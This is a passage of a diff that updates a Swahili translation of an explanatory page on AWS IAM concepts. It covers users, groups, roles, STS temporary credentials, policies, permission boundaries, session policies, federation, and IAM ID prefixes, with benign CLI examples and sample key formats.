akaunti ya AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa huduma zote** za AWS na rasilimali katika akaunti. Hii ni akaunti ya AWS _**mtumiaji wa mizizi**_ na inafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**. +Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa huduma zote** za AWS na rasilimali katika akaunti. Huu ni mtumiaji wa _**mizizi ya akaunti ya AWS**_ na unafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**. Kumbuka kwamba mtumiaji mpya wa **admin** atakuwa na **idhini ndogo kuliko mtumiaji wa mizizi**. @@ -100,19 +100,19 @@ Kutoka kwa mtazamo wa usalama, inapendekezwa kuunda watumiaji wengine na kuepuka ### [Watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -Mtumiaji wa IAM ni kiumbe ambacho unaunda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na ithibati (nenosiri na funguo za ufikiaji hadi mbili). +Mtumiaji wa IAM ni kiumbe unachounda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na hati (nenosiri na funguo za ufikiaji hadi mbili). Unapounda mtumiaji wa IAM, unampa **idhini** kwa kumfanya kuwa **mwanachama wa kundi la watumiaji** ambalo lina sera za idhini zinazofaa (inapendekezwa), au kwa **kuambatanisha sera moja kwa moja** kwa mtumiaji. -Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Tokeni za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera hiyo kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Tokeni za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Kitambulisho cha Funguo za Ufikiaji**: 20 ya herufi kubwa za alphanumeric za nasibu kama AKHDNAPO86BSHKDIRYT -- **Kitambulisho cha funguo za siri za ufikiaji**: 40 ya herufi kubwa na ndogo za nasibu: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha vitambulisho vya funguo za siri vilivyopotea). +- **Kitambulisho cha Funguo za Ufikiaji**: herufi 20 za bahati nasibu za alphanumeric kubwa kama AKHDNAPO86BSHKDIRYT +- **Kitambulisho cha funguo za siri za ufikiaji**: herufi 40 za bahati nasibu za kubwa na ndogo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha vitambulisho vya funguo za siri vilivyopotea). Wakati wowote unahitaji **kubadilisha Funguo za Ufikiaji** huu ndio mchakato unapaswa kufuata:\ -&#xNAN;_Cunda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ya awali kama isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_ +&#xNAN;_Cunda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ile ya awali kuwa isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_ ### MFA - Uthibitishaji wa Vigezo Vingi @@ -122,42 +122,42 @@ Unaweza kutumia **programu ya bure ya virtual au kifaa halisi**. Unaweza kutumia Sera zenye masharti ya MFA zinaweza kuambatanishwa na yafuatayo: - Mtumiaji wa IAM au kundi -- Rasilimali kama vile ndoo ya Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS +- Rasilimali kama vile bakuli la Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS - Sera ya kuaminika ya jukumu la IAM ambalo linaweza kuchukuliwa na mtumiaji -Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hiyo itakupa tokeni yenye taarifa kuhusu MFA.\ -Kumbuka kwamba **`AssumeRole` ithibati hazina taarifa hii**. +Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hii itakupa tokeni yenye taarifa kuhusu MFA.\ +Kumbuka kwamba **`AssumeRole` hati za kuingia hazina taarifa hii**. ```bash aws sts get-session-token --serial-number --token-code ``` -As [**imesemwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**. +Kama [**ilivyosemwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**. ### [Makundi ya watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) Kundi la [mtumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ni njia ya **kuunganisha sera kwa watumiaji wengi** kwa wakati mmoja, ambayo inaweza kurahisisha usimamizi wa ruhusa za watumiaji hao. **Majukumu na makundi hayawezi kuwa sehemu ya kundi**. -Unaweza kuunganisha **sera inayotegemea utambulisho kwa kundi la mtumiaji** ili kwamba **watumiaji** wote katika kundi la mtumiaji **wapate ruhusa za sera**. **Huwezi** kutambua **kundi la mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu makundi yanahusiana na ruhusa, si uthibitishaji, na wakuu ni entiti za IAM zilizothibitishwa. +Unaweza kuunganisha **sera inayotegemea utambulisho kwa kundi la mtumiaji** ili watumiaji wote katika kundi la mtumiaji **wapate ruhusa za sera**. Huwezi **kutambua kundi la mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu makundi yanahusiana na ruhusa, si uthibitishaji, na wakuu ni entiti za IAM zilizothibitishwa. Hapa kuna sifa muhimu za makundi ya watumiaji: - Kundi la mtumiaji **linaweza kuwa na watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya makundi mengi**. -- **Makundi ya watumiaji hayawezi kuingizwa**; yanaweza kuwa na watumiaji tu, si makundi mengine ya watumiaji. +- **Makundi ya watumiaji hayawezi kuwekwa ndani**; yanaweza kuwa na watumiaji tu, si makundi mengine ya watumiaji. - Hakuna **kundi la mtumiaji la default ambalo linajumuisha watumiaji wote katika akaunti ya AWS**. Ikiwa unataka kuwa na kundi la mtumiaji kama hilo, lazima ulunde na kupewa kila mtumiaji mpya. -- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya makundi, na idadi ya makundi ambayo mtumiaji anaweza kuwa mwanachama, zimepangwa. Kwa maelezo zaidi, angalia [IAM na AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya makundi, na idadi ya makundi ambayo mtumiaji anaweza kuwa mwanachama wake, zimepangwa. Kwa maelezo zaidi, angalia [IAM na AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). ### [Majukumu ya IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotambulisha kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. **Mtumiaji wa IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayeingia kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM. +**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotaja kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. **Mtumiaji wa IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayesaini kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM. -Jukumu la IAM linajumuisha **aina mbili za sera**: **sera ya kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na **sera ya ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini inaweza kufikiwa**. +Jukumu la IAM linajumuisha **aina mbili za sera**: Sera ya **kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na sera ya **ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini inaweza kufikiwa**. #### Huduma ya Usalama ya Tokeni ya AWS (STS) -Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa: +Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda mfupi, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa: -### [Akreditif za muda katika IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +### [Akreditif za muda mfupi katika IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Akreditif za muda zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali. +**Akreditif za muda mfupi zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda mfupi ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda mfupi ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali. ### Sera @@ -166,10 +166,10 @@ Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **ut Zinatumiwa kupewa ruhusa. Kuna aina 2: - Sera zinazodhibitiwa na AWS (zilizopangwa na AWS) -- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako mwenyewe), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako mwenyewe. +- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako. Kwa **default ufikiaji** unakataliwa, ufikiaji utawekwa ikiwa jukumu maalum limeainishwa.\ -Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambazo zinaruhusiwa kwa default). +Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambayo inaruhusiwa kwa default). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -192,33 +192,33 @@ Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akr ] } ``` -The [sehemu za kimataifa ambazo zinaweza kutumika kwa masharti katika huduma yoyote zimeandikwa hapa](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -[Sehemu maalum ambazo zinaweza kutumika kwa masharti kwa kila huduma zimeandikwa hapa](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -#### Sera za Ndani +#### Inline Policies Aina hii ya sera ni **zinazopewa moja kwa moja** kwa mtumiaji, kundi au jukumu. Hivyo, hazionekani katika orodha ya Sera kama wengine wanaweza kuzitumia.\ -Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho kimewekwa. Kwa mfano, unataka kuwa na uhakika kwamba ruhusa katika sera hazitapewa kwa bahati mbaya kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapokuwa unatumia sera ya ndani, ruhusa katika sera hiyo haziwezi kuunganishwa kwa bahati mbaya na kitambulisho kibaya. Zaidi ya hayo, unapokuwa unatumia AWS Management Console kufuta kitambulisho hicho, sera zilizoingizwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo kikuu. +Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho inatumika. Kwa mfano, unataka kuhakikisha kwamba ruhusa katika sera hazitolewi kwa bahati kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapokuwa unatumia sera ya ndani, ruhusa katika sera haiwezi kuunganishwa kwa bahati na kitambulisho kibaya. Zaidi ya hayo, unapokuwa unatumia AWS Management Console kufuta kitambulisho hicho, sera zilizojumuishwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo cha msingi. -#### Sera za Rasilimali za Ndoo +#### Resource Bucket Policies -Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Sio rasilimali zote za AWS zinazozipokea**. +Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Si rasilimali zote za AWS zinazoziunga mkono**. Ikiwa chombo hakina kukataa waziwazi juu yao, na sera ya rasilimali inawapa ufikiaji, basi wanaruhusiwa. -### Mipaka ya IAM +### IAM Boundaries Mipaka ya IAM inaweza kutumika **kudhibiti ruhusa ambazo mtumiaji au jukumu linapaswa kuwa na ufikiaji**. Kwa njia hii, hata kama seti tofauti za ruhusa zinatolewa kwa mtumiaji na **sera tofauti**, operesheni itashindwa ikiwa atajaribu kuzitumia. -Mpaka ni sera tu iliyoambatanishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa mpaka inaonyesha anaweza kusoma tu ndoo za S·, hiyo ndiyo kiwango cha juu anachoweza kufanya. +Pazia ni sera tu iliyounganishwa na mtumiaji ambayo **inaonyesha kiwango cha juu cha ruhusa ambacho mtumiaji au jukumu linaweza kuwa nacho**. Hivyo, **hata kama mtumiaji ana ufikiaji wa Msimamizi**, ikiwa pazia linaonyesha anaweza kusoma tu S· buckets, hiyo ndiyo kiwango cha juu anachoweza kufanya. **Hii**, **SCPs** na **kufuata kanuni ya ruhusa ndogo** ndiyo njia za kudhibiti kwamba watumiaji hawana ruhusa zaidi ya zile anazohitaji. -### Sera za Kikao +### Session Policies -Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **mpaka wa IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoonyeshwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina). +Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **pazia la IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoonyeshwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina). -Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye mamlaka makubwa anaweza kupunguza ruhusa kuwa zile tu zilizoonyeshwa katika sera ya kikao endapo kikao kitakumbwa na hatari. +Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye ruhusa nyingi, anaweza kuzuia ruhusa kuwa zile tu zilizoonyeshwa katika sera ya kikao endapo kikao kitakumbwa na hatari. ```bash aws sts assume-role \ --role-arn \ @@ -226,18 +226,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Note that by default **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [roles za cognito zisizo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **akiba za kikao zenye sera ya kikao** ambayo inakadiria huduma ambazo kikao kinaweza kufikia [**katika orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Kumbuka kwamba kwa kawaida **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [majukumu yaliyodhaniwa ya cognito yasiyo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **vithibitisho vya kikao vyenye sera ya kikao** inayopunguza huduma ambazo kikao kinaweza kufikia [**kwenda kwenye orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Hivyo, ikiwa kwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**. +Hivyo, ikiwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**. ### Ushirikiano wa Utambulisho -Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akiba za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\ -Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuruhusu watumiaji ndani yake kufikia AWS. +Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akauti za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\ +Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuwapa watumiaji ndani yake ufikiaji wa AWS. Ili kuunda uaminifu huu, **Mtoa Huduma wa Utambulisho wa IAM unaundwa (SAML au OAuth)** ambao utakuwa **na uaminifu** kwa **jukwaa lingine**. Kisha, angalau **jukumu moja linapewa (linaloaminika) kwa Mtoa Huduma wa Utambulisho**. Ikiwa mtumiaji kutoka kwenye jukwaa lililoaminika anafikia AWS, atakuwa akifikia kama jukumu lililotajwa. -Hata hivyo, kwa kawaida unataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa lile linaloruhusu watumiaji kuchukua jukumu moja au jingine. +Hata hivyo, kwa kawaida unataka kutoa **jukumu tofauti kulingana na kundi la mtumiaji** katika jukwaa la upande wa tatu. Kisha, **majukumu kadhaa ya IAM yanaweza kuamini** Mtoa Huduma wa Utambulisho wa upande wa tatu na jukwaa la upande wa tatu litakuwa likiruhusu watumiaji kuchukua jukumu moja au jingine.
@@ -247,7 +247,7 @@ Kituo cha Utambulisho wa AWS IAM (mfuasi wa AWS Single Sign-On) kinapanua uwezo Domeni la kuingia litakuwa kitu kama `.awsapps.com`. -Ili kuingia watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika: +Ili kuingia kwa watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika: - Kituo cha Utambulisho: Watumiaji wa kawaida wa AWS - Active Directory: Inasaidia viunganishi tofauti @@ -255,43 +255,43 @@ Ili kuingia watumiaji, kuna vyanzo 3 vya utambulisho ambavyo vinaweza kutumika:
-Katika kesi rahisi ya kituo cha utambulisho, **Kituo cha Utambulisho kitakuwa na orodha ya watumiaji na makundi** na kitakuwa na uwezo wa **kutoa sera** kwao kwa **akaunti yoyote** ya shirika. +Katika kesi rahisi ya kituo cha utambulisho, **Kituo cha Utambulisho kitakuwa na orodha ya watumiaji na makundi** na kitakuwa na uwezo wa **kutoa sera** kwao kwa **akaunti zozote** za shirika. Ili kutoa ufikiaji kwa mtumiaji/kundi wa Kituo cha Utambulisho kwa akaunti, **Mtoa Huduma wa Utambulisho wa SAML unaoaminika Kituo cha Utambulisho utaundwa**, na **jukumu linaloaminika Mtoa Huduma wa Utambulisho lenye sera zilizotajwa litaundwa** katika akaunti ya marudio. #### AwsSSOInlinePolicy -Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoandaliwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoandaliwa katika akaunti zinazotolewa **sera za ndani katika Kituo cha Utambulisho wa AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**. +Inawezekana **kutoa ruhusa kupitia sera za ndani kwa majukumu yaliyoundwa kupitia Kituo cha Utambulisho wa IAM**. Majukumu yaliyoundwa katika akaunti zinazopatiwa **sera za ndani katika Kituo cha Utambulisho wa AWS** yatakuwa na ruhusa hizi katika sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**. Hivyo, hata kama unaona majukumu 2 yenye sera ya ndani inayoitwa **`AwsSSOInlinePolicy`**, **haimaanishi ina ruhusa sawa**. -### Uaminifu na Majukumu ya Akaunti Mbalimbali +### Uaminifu wa Akaunti Mbalimbali na Majukumu -**Mtumiaji** (anayeaminika) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera fulani na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminika) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti ambayo unamiliki na akaunti ya AWS ya upande wa tatu.\ -Inapendekezwa **kueleza mtumiaji ambaye anaaminika na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu. +**Mtumiaji** (anayeaminiwa) anaweza kuunda Jukumu la Akaunti Mbalimbali lenye sera kadhaa na kisha, **kuruhusu mtumiaji mwingine** (aliyeaminiwa) **kuingia kwenye akaunti yake** lakini tu **akiwa na ufikiaji ulioainishwa katika sera mpya za jukumu**. Ili kuunda hii, tengeneza tu Jukumu jipya na uchague Jukumu la Akaunti Mbalimbali. Majukumu ya Ufikiaji wa Akaunti Mbalimbali yanatoa chaguzi mbili. Kutoa ufikiaji kati ya akaunti za AWS ambazo unamiliki, na kutoa ufikiaji kati ya akaunti unayoimiliki na akaunti ya AWS ya upande wa tatu.\ +Inapendekezwa **kueleza mtumiaji ambaye anaaminiwa na si kuweka kitu chochote cha jumla** kwa sababu vinginevyo, watumiaji wengine walioidhinishwa kama watumiaji wa ushirikiano wataweza pia kutumia uaminifu huu. ### AWS Simple AD -Haitambuliwi: +Haikubali: - Mahusiano ya Uaminifu - Kituo cha Usimamizi wa AD -- Msaada kamili wa PS API +- Msaada wa PS API kamili - Kituo cha Recycle cha AD - Akaunti za Huduma za Kundi -- Upanuzi wa Schema +- Upanuzi wa Mpango - Hakuna ufikiaji wa moja kwa moja kwa OS au Mifano -#### Ushirikiano wa Mtandao au Uthibitishaji wa OpenID +#### Ushirikiano wa Mtandao au Uthibitisho wa OpenID -Programu inatumia AssumeRoleWithWebIdentity kuunda akiba za muda. Hata hivyo, hii haitoi ufikiaji kwa console ya AWS, bali ufikiaji tu kwa rasilimali ndani ya AWS. +Programu inatumia AssumeRoleWithWebIdentity kuunda vithibitisho vya muda. Hata hivyo, hii haisaidii ufikiaji wa konsoli ya AWS, bali ufikiaji wa rasilimali ndani ya AWS. ### Chaguzi Nyingine za IAM - Unaweza **kufafanua mipangilio ya sera ya nywila** kama urefu wa chini na mahitaji ya nywila. -- Unaweza **kupakua "Ripoti ya Akiba"** yenye taarifa kuhusu akiba za sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewekwa...). Unaweza kuunda ripoti ya akiba mara kwa mara kama mara moja kila **saa nne**. +- Unaweza **kupakua "Ripoti ya Vithibitisho"** yenye taarifa kuhusu vithibitisho vya sasa (kama wakati wa kuunda mtumiaji, ikiwa nywila imewezeshwa...). Unaweza kuunda ripoti ya vithibitisho mara kwa mara kama mara moja kila **saa nne**. -Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Kwa IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Kwa sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini zaidi**. +Usimamizi wa Utambulisho na Ufikiaji wa AWS (IAM) unatoa **udhibiti wa ufikiaji wa kina** katika AWS yote. Pamoja na IAM, unaweza kufafanua **nani anaweza kufikia huduma na rasilimali zipi**, na chini ya hali zipi. Pamoja na sera za IAM, unasimamia ruhusa kwa wafanyakazi na mifumo yako ili **kuhakikisha ruhusa za chini**. ### Awali za ID za IAM @@ -299,17 +299,17 @@ Katika [**ukurasa huu**](https://docs.aws.amazon.com/IAM/latest/UserGuide/refere | ABIA | [Token ya mtoa huduma ya AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Akiba maalum ya muktadha | +| ACCA | Vithibitisho maalum kwa muktadha | | AGPA | Kundi la mtumiaji | | AIDA | Mtumiaji wa IAM | | AIPA | Profaili ya mfano wa Amazon EC2 | -| AKIA | Funguo ya ufikiaji | +| AKIA | Funguo la ufikiaji | | ANPA | Sera iliyosimamiwa | | ANVA | Toleo katika sera iliyosimamiwa | | APKA | Funguo ya umma | | AROA | Jukumu | | ASCA | Cheti | -| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia awali hii, lakini ni za kipekee tu kwa pamoja na funguo ya siri ya ufikiaji na tokeni ya kikao. | +| ASIA | [Funguo za ufikiaji za muda (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) tumia awali hii, lakini ni za kipekee tu kwa mchanganyiko na funguo ya siri ya ufikiaji na tokeni ya kikao. | ### Ruhusa zinazopendekezwa kukagua akaunti @@ -326,11 +326,11 @@ Ruhusa zifuatazo zinatoa ufikiaji wa kusoma wa metadata: ## Mambo Mengine -### Uthibitishaji wa CLI +### Uthibitisho wa CLI -Ili mtumiaji wa kawaida aidhinishe kwa AWS kupitia CLI unahitaji kuwa na **akiba za ndani**. Kwa kawaida unaweza kuziunda **kwa mikono** katika `~/.aws/credentials` au kwa **kukimbia** `aws 